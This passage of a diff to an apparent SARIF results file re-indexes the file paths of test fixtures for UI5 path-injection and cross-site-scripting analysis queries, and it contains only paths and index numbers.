"%SRCROOT%", "index" : 226 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 227 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 228 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 229 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 230 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 231 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/package.json", "uriBaseId" : "%SRCROOT%", "index" : 232 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 233 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 234 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 235 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 236 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/.eslintrc.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 237 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 238 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/.eslintrc.json", "uriBaseId" : "%SRCROOT%", "index" : 239 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 240 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/Component.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/package.json", "uriBaseId" : "%SRCROOT%", "index" : 241 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 242 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/Component.js", "uriBaseId" : "%SRCROOT%", "index" : 243 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controller/App.Controller.js", "uriBaseId" : "%SRCROOT%", "index" : 244 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/controls/Book.js", "uriBaseId" : "%SRCROOT%", "index" : 245 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/model/todoitems.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 246 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/AllJourneys.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 247 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/FilterJourney.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/model/todoitems.json", "uriBaseId" : "%SRCROOT%", "index" : 248 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/SearchJourney.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/AllJourneys.js", "uriBaseId" : "%SRCROOT%", "index" : 249 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/TodoListJourney.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/FilterJourney.js", "uriBaseId" : "%SRCROOT%", "index" : 250 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/arrangements/Startup.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/SearchJourney.js", "uriBaseId" : "%SRCROOT%", "index" : 251 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/opaTests.qunit.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/TodoListJourney.js", "uriBaseId" : "%SRCROOT%", "index" : 252 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/opaTests.qunit.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/arrangements/Startup.js", "uriBaseId" : "%SRCROOT%", "index" : 253 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/pages/App.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/opaTests.qunit.html", "uriBaseId" : "%SRCROOT%", "index" : 254 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/testsuite.qunit.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/opaTests.qunit.js", "uriBaseId" : "%SRCROOT%", "index" : 255 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/testsuite.qunit.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/integration/pages/App.js", "uriBaseId" : "%SRCROOT%", "index" : 256 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/AllTests.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/testsuite.qunit.html", "uriBaseId" : "%SRCROOT%", "index" : 257 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/controller/App.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/testsuite.qunit.js", "uriBaseId" : "%SRCROOT%", "index" : 258 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/unitTests.qunit.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/AllTests.js", "uriBaseId" : "%SRCROOT%", "index" : 259 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/unitTests.qunit.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/controller/App.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 260 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/util/Helper.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/unitTests.qunit.html", "uriBaseId" : "%SRCROOT%", "index" : 261 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/view/App.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/test/unit/unitTests.qunit.js", "uriBaseId" : "%SRCROOT%", "index" : 262 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/util/Helper.js", "uriBaseId" : "%SRCROOT%", "index" : 263 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/view/App.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 264 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 265 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/package.json", "uriBaseId" : "%SRCROOT%", "index" : 266 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 267 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", "index" : 268 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 269 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 270 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 271 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 272 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api1/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 273 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 274 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/package.json", "uriBaseId" : "%SRCROOT%", "index" : 275 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 276 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", "index" : 277 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 278 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 279 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 280 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 281 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 282 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 283 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/package.json", "uriBaseId" : "%SRCROOT%", "index" : 284 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 285 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", "index" : 286 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 287 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 288 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 289 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 290 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 291 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 292 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/package.json", "uriBaseId" : "%SRCROOT%", "index" : 293 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 294 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", "index" : 295 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 296 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 297 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 298 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 299 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 300 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 301 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/control/xss.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/package.json", "uriBaseId" : "%SRCROOT%", "index" : 302 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 303 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/control/xss.js", "uriBaseId" : "%SRCROOT%", "index" : 304 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 305 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 306 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 307 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 308 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 309 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 310 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/package.json", "uriBaseId" : "%SRCROOT%", "index" : 311 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 312 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 313 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 314 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 315 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 316 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 317 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 318 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/package.json", "uriBaseId" : "%SRCROOT%", "index" : 319 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 320 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 321 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 322 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 323 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 324 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 325 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/ui5.yaml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/package-lock.json", "uriBaseId" : "%SRCROOT%", "index" : 326 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/package.json", "uriBaseId" : "%SRCROOT%", "index" : 327 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/index.html", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/ui5.yaml", "uriBaseId" : "%SRCROOT%", "index" : 328 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/index.js", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js", "uriBaseId" : "%SRCROOT%", "index" : 329 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/manifest.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/index.html", "uriBaseId" : "%SRCROOT%", "index" : 330 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/index.js", "uriBaseId" : "%SRCROOT%", "index" : 331 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/package-lock.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/manifest.json", "uriBaseId" : "%SRCROOT%", "index" : 332 } }, { "location" : { - "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/package.json", + "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml", "uriBaseId" : "%SRCROOT%", "index" : 333 } }, { "location" : 